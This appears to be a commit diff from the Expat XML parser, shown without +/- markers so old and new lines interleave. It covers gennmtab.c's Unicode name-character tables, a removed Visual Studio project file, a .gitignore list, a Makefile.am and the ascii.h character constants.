{ 0x0b05, 0x0b0c },
{ 0x0b0f, 0x0b10 },
{ 0x0b13, 0x0b28 },
{ 0x0b2a, 0x0b30 },
{ 0x0b32, 0x0b33 },
{ 0x0b36, 0x0b39 },
{ 0x0b3d },
{ 0x0b5c, 0x0b5d },
{ 0x0b5f, 0x0b61 },
{ 0x0b85, 0x0b8a },
{ 0x0b8e, 0x0b90 },
{ 0x0b92, 0x0b95 },
{ 0x0b99, 0x0b9a },
{ 0x0b9c },
{ 0x0b9e, 0x0b9f },
{ 0x0ba3, 0x0ba4 },
{ 0x0ba8, 0x0baa },
{ 0x0bae, 0x0bb5 },
{ 0x0bb7, 0x0bb9 },
{ 0x0c05, 0x0c0c },
{ 0x0c0e, 0x0c10 },
{ 0x0c12, 0x0c28 },
{ 0x0c2a, 0x0c33 },
{ 0x0c35, 0x0c39 },
{ 0x0c60, 0x0c61 },
{ 0x0c85, 0x0c8c },
{ 0x0c8e, 0x0c90 },
{ 0x0c92, 0x0ca8 },
{ 0x0caa, 0x0cb3 },
{ 0x0cb5, 0x0cb9 },
{ 0x0cde },
{ 0x0ce0, 0x0ce1 },
{ 0x0d05, 0x0d0c },
{ 0x0d0e, 0x0d10 },
{ 0x0d12, 0x0d28 },
{ 0x0d2a, 0x0d39 },
{ 0x0d60, 0x0d61 },
{ 0x0e01, 0x0e2e },
{ 0x0e30 },
{ 0x0e32, 0x0e33 },
{ 0x0e40, 0x0e45 },
{ 0x0e81, 0x0e82 },
{ 0x0e84 },
{ 0x0e87, 0x0e88 },
{ 0x0e8a },
{ 0x0e8d },
{ 0x0e94, 0x0e97 },
{ 0x0e99, 0x0e9f },
{ 0x0ea1, 0x0ea3 },
{ 0x0ea5 },
{ 0x0ea7 },
{ 0x0eaa, 0x0eab },
{ 0x0ead, 0x0eae },
{ 0x0eb0 },
{ 0x0eb2, 0x0eb3 },
{ 0x0ebd },
{ 0x0ec0, 0x0ec4 },
{ 0x0f40, 0x0f47 },
{ 0x0f49, 0x0f69 },
{ 0x10a0, 0x10c5 },
{ 0x10d0, 0x10f6 },
{ 0x1100 },
{ 0x1102, 0x1103 },
{ 0x1105, 0x1107 },
{ 0x1109 },
{ 0x110b, 0x110c },
{ 0x110e, 0x1112 },
{ 0x113c },
{ 0x113e },
{ 0x1140 },
{ 0x114c },
{ 0x114e },
{ 0x1150 },
{ 0x1154, 0x1155 },
{ 0x1159 },
{ 0x115f, 0x1161 },
{ 0x1163 },
{ 0x1165 },
{ 0x1167 },
{ 0x1169 },
{ 0x116d, 0x116e },
{ 0x1172, 0x1173 },
{ 0x1175 },
{ 0x119e },
{ 0x11a8 },
{ 0x11ab },
{ 0x11ae, 0x11af },
{ 0x11b7, 0x11b8 },
{ 0x11ba },
{ 0x11bc, 0x11c2 },
{ 0x11eb },
{ 0x11f0 },
{ 0x11f9 },
{ 0x1e00, 0x1e9b },
{ 0x1ea0, 0x1ef9 },
{ 0x1f00, 0x1f15 },
{ 0x1f18, 0x1f1d },
{ 0x1f20, 0x1f45 },
{ 0x1f48, 0x1f4d },
{ 0x1f50, 0x1f57 },
{ 0x1f59 },
{ 0x1f5b },
{ 0x1f5d },
{ 0x1f5f, 0x1f7d },
{ 0x1f80, 0x1fb4 },
{ 0x1fb6, 0x1fbc },
{ 0x1fbe },
{ 0x1fc2, 0x1fc4 },
{ 0x1fc6, 0x1fcc },
{ 0x1fd0, 0x1fd3 },
{ 0x1fd6, 0x1fdb },
{ 0x1fe0, 0x1fec },
{ 0x1ff2, 0x1ff4 },
{ 0x1ff6, 0x1ffc },
{ 0x2126 },
{ 0x212a, 0x212b },
{ 0x212e },
{ 0x2180, 0x2182 },
{ 0x3041, 0x3094 },
{ 0x30a1, 0x30fa },
{ 0x3105, 0x312c },
{ 0xac00, 0xd7a3 },
/* Ideographic */
{ 0x4e00, 0x9fa5 },
{ 0x3007 },
{ 0x3021, 0x3029 },
{'_'},
{':'},
/* BaseChar */
{0x0041, 0x005a},
{0x0061, 0x007a},
{0x00c0, 0x00d6},
{0x00d8, 0x00f6},
{0x00f8, 0x00ff},
{0x0100, 0x0131},
{0x0134, 0x013e},
{0x0141, 0x0148},
{0x014a, 0x017e},
{0x0180, 0x01c3},
{0x01cd, 0x01f0},
{0x01f4, 0x01f5},
{0x01fa, 0x0217},
{0x0250, 0x02a8},
{0x02bb, 0x02c1},
{0x0386},
{0x0388, 0x038a},
{0x038c},
{0x038e, 0x03a1},
{0x03a3, 0x03ce},
{0x03d0, 0x03d6},
{0x03da},
{0x03dc},
{0x03de},
{0x03e0},
{0x03e2, 0x03f3},
{0x0401, 0x040c},
{0x040e, 0x044f},
{0x0451, 0x045c},
{0x045e, 0x0481},
{0x0490, 0x04c4},
{0x04c7, 0x04c8},
{0x04cb, 0x04cc},
{0x04d0, 0x04eb},
{0x04ee, 0x04f5},
{0x04f8, 0x04f9},
{0x0531, 0x0556},
{0x0559},
{0x0561, 0x0586},
{0x05d0, 0x05ea},
{0x05f0, 0x05f2},
{0x0621, 0x063a},
{0x0641, 0x064a},
{0x0671, 0x06b7},
{0x06ba, 0x06be},
{0x06c0, 0x06ce},
{0x06d0, 0x06d3},
{0x06d5},
{0x06e5, 0x06e6},
{0x0905, 0x0939},
{0x093d},
{0x0958, 0x0961},
{0x0985, 0x098c},
{0x098f, 0x0990},
{0x0993, 0x09a8},
{0x09aa, 0x09b0},
{0x09b2},
{0x09b6, 0x09b9},
{0x09dc, 0x09dd},
{0x09df, 0x09e1},
{0x09f0, 0x09f1},
{0x0a05, 0x0a0a},
{0x0a0f, 0x0a10},
{0x0a13, 0x0a28},
{0x0a2a, 0x0a30},
{0x0a32, 0x0a33},
{0x0a35, 0x0a36},
{0x0a38, 0x0a39},
{0x0a59, 0x0a5c},
{0x0a5e},
{0x0a72, 0x0a74},
{0x0a85, 0x0a8b},
{0x0a8d},
{0x0a8f, 0x0a91},
{0x0a93, 0x0aa8},
{0x0aaa, 0x0ab0},
{0x0ab2, 0x0ab3},
{0x0ab5, 0x0ab9},
{0x0abd},
{0x0ae0},
{0x0b05, 0x0b0c},
{0x0b0f, 0x0b10},
{0x0b13, 0x0b28},
{0x0b2a, 0x0b30},
{0x0b32, 0x0b33},
{0x0b36, 0x0b39},
{0x0b3d},
{0x0b5c, 0x0b5d},
{0x0b5f, 0x0b61},
{0x0b85, 0x0b8a},
{0x0b8e, 0x0b90},
{0x0b92, 0x0b95},
{0x0b99, 0x0b9a},
{0x0b9c},
{0x0b9e, 0x0b9f},
{0x0ba3, 0x0ba4},
{0x0ba8, 0x0baa},
{0x0bae, 0x0bb5},
{0x0bb7, 0x0bb9},
{0x0c05, 0x0c0c},
{0x0c0e, 0x0c10},
{0x0c12, 0x0c28},
{0x0c2a, 0x0c33},
{0x0c35, 0x0c39},
{0x0c60, 0x0c61},
{0x0c85, 0x0c8c},
{0x0c8e, 0x0c90},
{0x0c92, 0x0ca8},
{0x0caa, 0x0cb3},
{0x0cb5, 0x0cb9},
{0x0cde},
{0x0ce0, 0x0ce1},
{0x0d05, 0x0d0c},
{0x0d0e, 0x0d10},
{0x0d12, 0x0d28},
{0x0d2a, 0x0d39},
{0x0d60, 0x0d61},
{0x0e01, 0x0e2e},
{0x0e30},
{0x0e32, 0x0e33},
{0x0e40, 0x0e45},
{0x0e81, 0x0e82},
{0x0e84},
{0x0e87, 0x0e88},
{0x0e8a},
{0x0e8d},
{0x0e94, 0x0e97},
{0x0e99, 0x0e9f},
{0x0ea1, 0x0ea3},
{0x0ea5},
{0x0ea7},
{0x0eaa, 0x0eab},
{0x0ead, 0x0eae},
{0x0eb0},
{0x0eb2, 0x0eb3},
{0x0ebd},
{0x0ec0, 0x0ec4},
{0x0f40, 0x0f47},
{0x0f49, 0x0f69},
{0x10a0, 0x10c5},
{0x10d0, 0x10f6},
{0x1100},
{0x1102, 0x1103},
{0x1105, 0x1107},
{0x1109},
{0x110b, 0x110c},
{0x110e, 0x1112},
{0x113c},
{0x113e},
{0x1140},
{0x114c},
{0x114e},
{0x1150},
{0x1154, 0x1155},
{0x1159},
{0x115f, 0x1161},
{0x1163},
{0x1165},
{0x1167},
{0x1169},
{0x116d, 0x116e},
{0x1172, 0x1173},
{0x1175},
{0x119e},
{0x11a8},
{0x11ab},
{0x11ae, 0x11af},
{0x11b7, 0x11b8},
{0x11ba},
{0x11bc, 0x11c2},
{0x11eb},
{0x11f0},
{0x11f9},
{0x1e00, 0x1e9b},
{0x1ea0, 0x1ef9},
{0x1f00, 0x1f15},
{0x1f18, 0x1f1d},
{0x1f20, 0x1f45},
{0x1f48, 0x1f4d},
{0x1f50, 0x1f57},
{0x1f59},
{0x1f5b},
{0x1f5d},
{0x1f5f, 0x1f7d},
{0x1f80, 0x1fb4},
{0x1fb6, 0x1fbc},
{0x1fbe},
{0x1fc2, 0x1fc4},
{0x1fc6, 0x1fcc},
{0x1fd0, 0x1fd3},
{0x1fd6, 0x1fdb},
{0x1fe0, 0x1fec},
{0x1ff2, 0x1ff4},
{0x1ff6, 0x1ffc},
{0x2126},
{0x212a, 0x212b},
{0x212e},
{0x2180, 0x2182},
{0x3041, 0x3094},
{0x30a1, 0x30fa},
{0x3105, 0x312c},
{0xac00, 0xd7a3},
/* Ideographic */
{0x4e00, 0x9fa5},
{0x3007},
{0x3021, 0x3029},
};
/* name chars that are not name start chars */
struct range name[] = {
{ '.' },
{ '-' },
/* CombiningChar */
{ 0x0300, 0x0345 },
{ 0x0360, 0x0361 },
{ 0x0483, 0x0486 },
{ 0x0591, 0x05a1 },
{ 0x05a3, 0x05b9 },
{ 0x05bb, 0x05bd },
{ 0x05bf },
{ 0x05c1, 0x05c2 },
{ 0x05c4 },
{ 0x064b, 0x0652 },
{ 0x0670 },
{ 0x06d6, 0x06dc },
{ 0x06dd, 0x06df },
{ 0x06e0, 0x06e4 },
{ 0x06e7, 0x06e8 },
{ 0x06ea, 0x06ed },
{ 0x0901, 0x0903 },
{ 0x093c },
{ 0x093e, 0x094c },
{ 0x094d },
{ 0x0951, 0x0954 },
{ 0x0962, 0x0963 },
{ 0x0981, 0x0983 },
{ 0x09bc },
{ 0x09be },
{ 0x09bf },
{ 0x09c0, 0x09c4 },
{ 0x09c7, 0x09c8 },
{ 0x09cb, 0x09cd },
{ 0x09d7 },
{ 0x09e2, 0x09e3 },
{ 0x0a02 },
{ 0x0a3c },
{ 0x0a3e },
{ 0x0a3f },
{ 0x0a40, 0x0a42 },
{ 0x0a47, 0x0a48 },
{ 0x0a4b, 0x0a4d },
{ 0x0a70, 0x0a71 },
{ 0x0a81, 0x0a83 },
{ 0x0abc },
{ 0x0abe, 0x0ac5 },
{ 0x0ac7, 0x0ac9 },
{ 0x0acb, 0x0acd },
{ 0x0b01, 0x0b03 },
{ 0x0b3c },
{ 0x0b3e, 0x0b43 },
{ 0x0b47, 0x0b48 },
{ 0x0b4b, 0x0b4d },
{ 0x0b56, 0x0b57 },
{ 0x0b82, 0x0b83 },
{ 0x0bbe, 0x0bc2 },
{ 0x0bc6, 0x0bc8 },
{ 0x0bca, 0x0bcd },
{ 0x0bd7 },
{ 0x0c01, 0x0c03 },
{ 0x0c3e, 0x0c44 },
{ 0x0c46, 0x0c48 },
{ 0x0c4a, 0x0c4d },
{ 0x0c55, 0x0c56 },
{ 0x0c82, 0x0c83 },
{ 0x0cbe, 0x0cc4 },
{ 0x0cc6, 0x0cc8 },
{ 0x0cca, 0x0ccd },
{ 0x0cd5, 0x0cd6 },
{ 0x0d02, 0x0d03 },
{ 0x0d3e, 0x0d43 },
{ 0x0d46, 0x0d48 },
{ 0x0d4a, 0x0d4d },
{ 0x0d57 },
{ 0x0e31 },
{ 0x0e34, 0x0e3a },
{ 0x0e47, 0x0e4e },
{ 0x0eb1 },
{ 0x0eb4, 0x0eb9 },
{ 0x0ebb, 0x0ebc },
{ 0x0ec8, 0x0ecd },
{ 0x0f18, 0x0f19 },
{ 0x0f35 },
{ 0x0f37 },
{ 0x0f39 },
{ 0x0f3e },
{ 0x0f3f },
{ 0x0f71, 0x0f84 },
{ 0x0f86, 0x0f8b },
{ 0x0f90, 0x0f95 },
{ 0x0f97 },
{ 0x0f99, 0x0fad },
{ 0x0fb1, 0x0fb7 },
{ 0x0fb9 },
{ 0x20d0, 0x20dc },
{ 0x20e1 },
{ 0x302a, 0x302f },
{ 0x3099 },
{ 0x309a },
/* Digit */
{ 0x0030, 0x0039 },
{ 0x0660, 0x0669 },
{ 0x06f0, 0x06f9 },
{ 0x0966, 0x096f },
{ 0x09e6, 0x09ef },
{ 0x0a66, 0x0a6f },
{ 0x0ae6, 0x0aef },
{ 0x0b66, 0x0b6f },
{ 0x0be7, 0x0bef },
{ 0x0c66, 0x0c6f },
{ 0x0ce6, 0x0cef },
{ 0x0d66, 0x0d6f },
{ 0x0e50, 0x0e59 },
{ 0x0ed0, 0x0ed9 },
{ 0x0f20, 0x0f29 },
/* Extender */
{ 0xb7 },
{ 0x02d0 },
{ 0x02d1 },
{ 0x0387 },
{ 0x0640 },
{ 0x0e46 },
{ 0x0ec6 },
{ 0x3005 },
{ 0x3031, 0x3035 },
{ 0x309d, 0x309e },
{ 0x30fc, 0x30fe },
{'.'},
{'-'},
/* CombiningChar */
{0x0300, 0x0345},
{0x0360, 0x0361},
{0x0483, 0x0486},
{0x0591, 0x05a1},
{0x05a3, 0x05b9},
{0x05bb, 0x05bd},
{0x05bf},
{0x05c1, 0x05c2},
{0x05c4},
{0x064b, 0x0652},
{0x0670},
{0x06d6, 0x06dc},
{0x06dd, 0x06df},
{0x06e0, 0x06e4},
{0x06e7, 0x06e8},
{0x06ea, 0x06ed},
{0x0901, 0x0903},
{0x093c},
{0x093e, 0x094c},
{0x094d},
{0x0951, 0x0954},
{0x0962, 0x0963},
{0x0981, 0x0983},
{0x09bc},
{0x09be},
{0x09bf},
{0x09c0, 0x09c4},
{0x09c7, 0x09c8},
{0x09cb, 0x09cd},
{0x09d7},
{0x09e2, 0x09e3},
{0x0a02},
{0x0a3c},
{0x0a3e},
{0x0a3f},
{0x0a40, 0x0a42},
{0x0a47, 0x0a48},
{0x0a4b, 0x0a4d},
{0x0a70, 0x0a71},
{0x0a81, 0x0a83},
{0x0abc},
{0x0abe, 0x0ac5},
{0x0ac7, 0x0ac9},
{0x0acb, 0x0acd},
{0x0b01, 0x0b03},
{0x0b3c},
{0x0b3e, 0x0b43},
{0x0b47, 0x0b48},
{0x0b4b, 0x0b4d},
{0x0b56, 0x0b57},
{0x0b82, 0x0b83},
{0x0bbe, 0x0bc2},
{0x0bc6, 0x0bc8},
{0x0bca, 0x0bcd},
{0x0bd7},
{0x0c01, 0x0c03},
{0x0c3e, 0x0c44},
{0x0c46, 0x0c48},
{0x0c4a, 0x0c4d},
{0x0c55, 0x0c56},
{0x0c82, 0x0c83},
{0x0cbe, 0x0cc4},
{0x0cc6, 0x0cc8},
{0x0cca, 0x0ccd},
{0x0cd5, 0x0cd6},
{0x0d02, 0x0d03},
{0x0d3e, 0x0d43},
{0x0d46, 0x0d48},
{0x0d4a, 0x0d4d},
{0x0d57},
{0x0e31},
{0x0e34, 0x0e3a},
{0x0e47, 0x0e4e},
{0x0eb1},
{0x0eb4, 0x0eb9},
{0x0ebb, 0x0ebc},
{0x0ec8, 0x0ecd},
{0x0f18, 0x0f19},
{0x0f35},
{0x0f37},
{0x0f39},
{0x0f3e},
{0x0f3f},
{0x0f71, 0x0f84},
{0x0f86, 0x0f8b},
{0x0f90, 0x0f95},
{0x0f97},
{0x0f99, 0x0fad},
{0x0fb1, 0x0fb7},
{0x0fb9},
{0x20d0, 0x20dc},
{0x20e1},
{0x302a, 0x302f},
{0x3099},
{0x309a},
/* Digit */
{0x0030, 0x0039},
{0x0660, 0x0669},
{0x06f0, 0x06f9},
{0x0966, 0x096f},
{0x09e6, 0x09ef},
{0x0a66, 0x0a6f},
{0x0ae6, 0x0aef},
{0x0b66, 0x0b6f},
{0x0be7, 0x0bef},
{0x0c66, 0x0c6f},
{0x0ce6, 0x0cef},
{0x0d66, 0x0d6f},
{0x0e50, 0x0e59},
{0x0ed0, 0x0ed9},
{0x0f20, 0x0f29},
/* Extender */
{0xb7},
{0x02d0},
{0x02d1},
{0x0387},
{0x0640},
{0x0e46},
{0x0ec6},
{0x3005},
{0x3031, 0x3035},
{0x309d, 0x309e},
{0x30fc, 0x30fe},
};
void setTab(char *tab, struct range *ranges, size_t nRanges)
{
static void
setTab(char *tab, struct range *ranges, size_t nRanges) {
size_t i;
int j;
for (i = 0; i < nRanges; i++) {
if (ranges[i].end) {
for (j = ranges[i].start; j <= ranges[i].end; j++)
tab[j] = 1;
}
else
tab[j] = 1;
} else
tab[ranges[i].start] = 1;
}
}
void printTabs(char *tab)
{
static void
printTabs(char *tab) {
int nBitmaps = 2;
int i, j, k;
unsigned char pageIndex[512];
printf(
"static const unsigned namingBitmap[] = {\n\
printf("static const unsigned namingBitmap[] = {\n\
0x00000000, 0x00000000, 0x00000000, 0x00000000,\n\
0x00000000, 0x00000000, 0x00000000, 0x00000000,\n\
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,\n\
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,\n");
for (i = 0; i < 512; i++) {
int kind = tab[i*256];
int kind = tab[i * 256];
for (j = 1; j < 256; j++)
if (tab[i*256 +j] != kind) {
kind = -1;
break;
if (tab[i * 256 + j] != kind) {
kind = -1;
break;
}
if (i >= 256 && memcmp(tab + (i - 256)*256, tab + i*256, 256) == 0)
if (i >= 256 && memcmp(tab + (i - 256) * 256, tab + i * 256, 256) == 0)
pageIndex[i] = pageIndex[i - 256];
else if (kind == -1) {
else if (kind == -1) {
pageIndex[i] = nBitmaps++;
for (j = 0; j < 8; j++) {
unsigned val = 0;
for (k = 0; k < 32; k++) {
if (tab[i*256 + j*32 +k])
val |= (1 << k);
}
printf("0x%08X,", val);
putchar((((j + 1) & 3) == 0) ? '\n' : ' ');
unsigned val = 0;
for (k = 0; k < 32; k++) {
if (tab[i * 256 + j * 32 + k])
val |= (1 << k);
}
printf("0x%08X,", val);
putchar((((j + 1) & 3) == 0) ? '\n' : ' ');
}
}
else
} else
pageIndex[i] = kind;
}
printf("};\n");
@@ -415,13 +441,13 @@ void printTabs(char *tab)
printf("};\n");
}
int main()
{
char tab[2*65536];
int
main() {
char tab[2 * 65536];
memset(tab, 0, 65536);
setTab(tab, nmstrt, sizeof(nmstrt)/sizeof(nmstrt[0]));
setTab(tab, nmstrt, sizeof(nmstrt) / sizeof(nmstrt[0]));
memcpy(tab + 65536, tab, 65536);
setTab(tab + 65536, name, sizeof(name)/sizeof(name[0]));
setTab(tab + 65536, name, sizeof(name) / sizeof(name[0]));
printTabs(tab);
return 0;
}
-101
View File
@@ -1,101 +0,0 @@
# Microsoft Developer Studio Project File - Name="gennmtab" - Package Owner=<4>
# Microsoft Developer Studio Generated Build File, Format Version 6.00
# ** DO NOT EDIT **
# TARGTYPE "Win32 (x86) Console Application" 0x0103
CFG=gennmtab - Win32 Release
!MESSAGE This is not a valid makefile. To build this project using NMAKE,
!MESSAGE use the Export Makefile command and run
!MESSAGE
!MESSAGE NMAKE /f "gennmtab.mak".
!MESSAGE
!MESSAGE You can specify a configuration when running NMAKE
!MESSAGE by defining the macro CFG on the command line. For example:
!MESSAGE
!MESSAGE NMAKE /f "gennmtab.mak" CFG="gennmtab - Win32 Release"
!MESSAGE
!MESSAGE Possible choices for configuration are:
!MESSAGE
!MESSAGE "gennmtab - Win32 Release" (based on "Win32 (x86) Console Application")
!MESSAGE "gennmtab - Win32 Debug" (based on "Win32 (x86) Console Application")
!MESSAGE
# Begin Project
# PROP AllowPerConfigDependencies 0
# PROP Scc_ProjName ""
# PROP Scc_LocalPath ""
CPP=cl.exe
RSC=rc.exe
!IF "$(CFG)" == "gennmtab - Win32 Release"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir ".\Release"
# PROP BASE Intermediate_Dir ".\Release"
# PROP BASE Target_Dir "."
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir ".\Release"
# PROP Intermediate_Dir ".\Release"
# PROP Target_Dir "."
# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /YX /c
# ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /YX /FD /c
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386
# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386
!ELSEIF "$(CFG)" == "gennmtab - Win32 Debug"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir ".\Debug"
# PROP BASE Intermediate_Dir ".\Debug"
# PROP BASE Target_Dir "."
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 1
# PROP Output_Dir ".\Debug"
# PROP Intermediate_Dir ".\Debug"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir "."
# ADD BASE CPP /nologo /W3 /Gm /GX /Zi /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /YX /c
# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /YX /FD /c
# ADD BASE RSC /l 0x809 /d "_DEBUG"
# ADD RSC /l 0x809 /d "_DEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386
# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386
!ENDIF
# Begin Target
# Name "gennmtab - Win32 Release"
# Name "gennmtab - Win32 Debug"
# Begin Group "Source Files"
# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat;for;f90"
# Begin Source File
SOURCE=.\gennmtab.c
# End Source File
# End Group
# Begin Group "Header Files"
# PROP Default_Filter "h;hpp;hxx;hm;inl;fi;fd"
# End Group
# Begin Group "Resource Files"
# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;cnt;rtf;gif;jpg;jpeg;jpe"
# End Group
# End Target
# End Project
+17
View File
@@ -0,0 +1,17 @@
Makefile
.libs
*.lo
Debug
Debug-w
Release
Release-w
expat.ncb
expat.opt
expat.plg
Debug_static
Debug-w_static
Release_static
Release-w_static
expat_static.plg
expatw.plg
expatw_static.plg
+86
View File
@@ -0,0 +1,86 @@
#
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2017-2022 Sebastian Pipping <sebastian@pipping.org>
# Copyright (c) 2017 Tomasz Kłoczko <kloczek@fedoraproject.org>
# Copyright (c) 2019 David Loffredo <loffredo@steptools.com>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
include_HEADERS = \
../expat_config.h \
expat.h \
expat_external.h
lib_LTLIBRARIES = libexpat.la
noinst_LTLIBRARIES = libexpatinternal.la
libexpat_la_LDFLAGS = \
@AM_LDFLAGS@ \
@LIBM@ \
-no-undefined \
-version-info @LIBCURRENT@:@LIBREVISION@:@LIBAGE@
libexpat_la_SOURCES =
# This layer of indirection allows
# the test suite to access internal symbols
# despite compiling with -fvisibility=hidden
libexpatinternal_la_SOURCES = \
xmlparse.c \
xmltok.c \
xmlrole.c
libexpat_la_LIBADD = libexpatinternal.la
doc_DATA = \
../AUTHORS \
../Changes
install-data-hook:
cd "$(DESTDIR)$(docdir)" && $(am__mv) Changes changelog
uninstall-local:
$(RM) "$(DESTDIR)$(docdir)/changelog"
EXTRA_DIST = \
ascii.h \
asciitab.h \
expat_external.h \
expat.h \
iasciitab.h \
internal.h \
latin1tab.h \
libexpat.def.cmake \
nametab.h \
siphash.h \
utf8tab.h \
winconfig.h \
xmlrole.h \
xmltok.h \
xmltok_impl.c \
xmltok_impl.h \
xmltok_ns.c
+123
View File
@@ -0,0 +1,123 @@
/*
__ __ _
___\ \/ /_ __ __ _| |_
/ _ \\ /| '_ \ / _` | __|
| __// \| |_) | (_| | |_
\___/_/\_\ .__/ \__,_|\__|
|_| XML parser
Copyright (c) 1999-2000 Thai Open Source Software Center Ltd
Copyright (c) 2000 Clark Cooper <coopercc@users.sourceforge.net>
Copyright (c) 2002 Fred L. Drake, Jr. <fdrake@users.sourceforge.net>
Copyright (c) 2007 Karl Waclawek <karl@waclawek.net>
Copyright (c) 2017 Sebastian Pipping <sebastian@pipping.org>
Licensed under the MIT license:
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#define ASCII_A 0x41
#define ASCII_B 0x42
#define ASCII_C 0x43
#define ASCII_D 0x44
#define ASCII_E 0x45
#define ASCII_F 0x46
#define ASCII_G 0x47
#define ASCII_H 0x48
#define ASCII_I 0x49
#define ASCII_J 0x4A
#define ASCII_K 0x4B
#define ASCII_L 0x4C
#define ASCII_M 0x4D
#define ASCII_N 0x4E
#define ASCII_O 0x4F
#define ASCII_P 0x50
#define ASCII_Q 0x51
#define ASCII_R 0x52
#define ASCII_S 0x53
#define ASCII_T 0x54
#define ASCII_U 0x55
#define ASCII_V 0x56
#define ASCII_W 0x57
#define ASCII_X 0x58
#define ASCII_Y 0x59
#define ASCII_Z 0x5A
#define ASCII_a 0x61
#define ASCII_b 0x62
#define ASCII_c 0x63
#define ASCII_d 0x64
#define ASCII_e 0x65
#define ASCII_f 0x66
#define ASCII_g 0x67
#define ASCII_h 0x68
#define ASCII_i 0x69
#define ASCII_j 0x6A
#define ASCII_k 0x6B
#define ASCII_l 0x6C
#define ASCII_m 0x6D
#define ASCII_n 0x6E
#define ASCII_o 0x6F
#define ASCII_p 0x70
#define ASCII_q 0x71
#define ASCII_r 0x72
#define ASCII_s 0x73
#define ASCII_t 0x74
#define ASCII_u 0x75
#define ASCII_v 0x76
#define ASCII_w 0x77
#define ASCII_x 0x78
#define ASCII_y 0x79
#define ASCII_z 0x7A
#define ASCII_0 0x30
#define ASCII_1 0x31
#define ASCII_2 0x32
#define ASCII_3 0x33
#define ASCII_4 0x34
#define ASCII_5 0x35
#define ASCII_6 0x36
#define ASCII_7 0x37
#define ASCII_8 0x38
#define ASCII_9 0x39
#define ASCII_TAB 0x09
#define ASCII_SPACE 0x20
#define ASCII_EXCL 0x21
#define ASCII_QUOT 0x22
#define ASCII_AMP 0x26
#define ASCII_APOS 0x27
#define ASCII_MINUS 0x2D
#define ASCII_PERIOD 0x2E
#define ASCII_COLON 0x3A
#define ASCII_SEMI 0x3B
#define ASCII_LT 0x3C
#define ASCII_EQUALS 0x3D
#define ASCII_GT 0x3E
#define ASCII_LSQB 0x5B
#define ASCII_RSQB 0x5D
#define ASCII_UNDERSCORE 0x5F
#define ASCII_LPAREN 0x28
#define ASCII_RPAREN 0x29
#define ASCII_FF 0x0C
#define ASCII_SLASH 0x2F
